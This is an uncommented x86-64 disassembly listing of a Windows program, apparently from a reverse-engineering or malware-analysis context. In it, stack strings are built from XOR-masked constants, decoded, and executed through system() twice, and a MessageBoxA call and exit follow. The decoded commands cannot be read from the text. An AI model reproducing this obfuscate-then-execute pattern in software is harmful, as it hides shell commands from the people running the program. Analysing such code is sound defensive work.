mov qword [rbp + 0x1268], rax
vmovdqu ymm0, ymmword [rbp + 0x1240]
vpxor ymm1, ymm0, ymmword [rbp + 0xbe0]
vmovdqa ymmword [rbp + 0xbe0], ymm1
vmovdqa xmm2, xmmword [rbp + 0xc00]
vxorps xmm2, xmm2, xmmword [rbp + 0x1260]
vmovdqa xmmword [rbp + 0xc00], xmm2
lea rcx, [rbp + 0xbe0]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1400077a0
call fcn.140007c70
call fcn.140008310
call fcn.1400034d0
movabs rax, 0x7fa8af505ea18c4c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1f8], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x11b0], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x11b8], rax
movdqa xmm0, xmmword [rbp + 0x1f0]
xorps xmm0, xmmword [rbp + 0x11b0]
movdqa xmmword [rbp + 0x1f0], xmm0
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov eax, dword [rbp]
inc eax
jmp 0x14000ca9a
lea rcx, [rbp + 0xec8]
call fcn.14000fe20
nop
lea rcx, [rbp + 0xe88]
call fcn.14000fe20
nop
lea rcx, [rbp + 0xee8]
call fcn.14000fe20
xor eax, eax
mov rcx, qword [rbp + 0x1b98]
xor rcx, rsp
call fcn.14005ff20
lea r11, [rsp + 0x1bf0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4c0], rax
movabs rax, 0xd183490a01f30a74
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4c8], rax
movabs rax, 0xaaa8ba422818385b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4d0], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4d8], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1a40], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1a48], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1a50], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1a58], rax
vmovdqu ymm0, ymmword [rbp + 0x1a40]
vpxor ymm1, ymm0, ymmword [rbp + 0x4c0]
vmovdqa ymmword [rbp + 0x4c0], ymm1
movabs rax, 0x5fdbd83f3abc8978
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4a0], rax
movabs rax, 0xe7c5520a3f801b01
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4a8], rax
movabs rax, 0xcecdce304768485c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4b0], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x4b8], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1640], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1648], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1650], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1658], rax
vmovdqu ymm0, ymmword [rbp + 0x1640]
vpxor ymm1, ymm0, ymmword [rbp + 0x4a0]
vmovdqa ymmword [rbp + 0x4a0], ymm1
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x4c0]
lea rdx, [rbp + 0x4a0]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3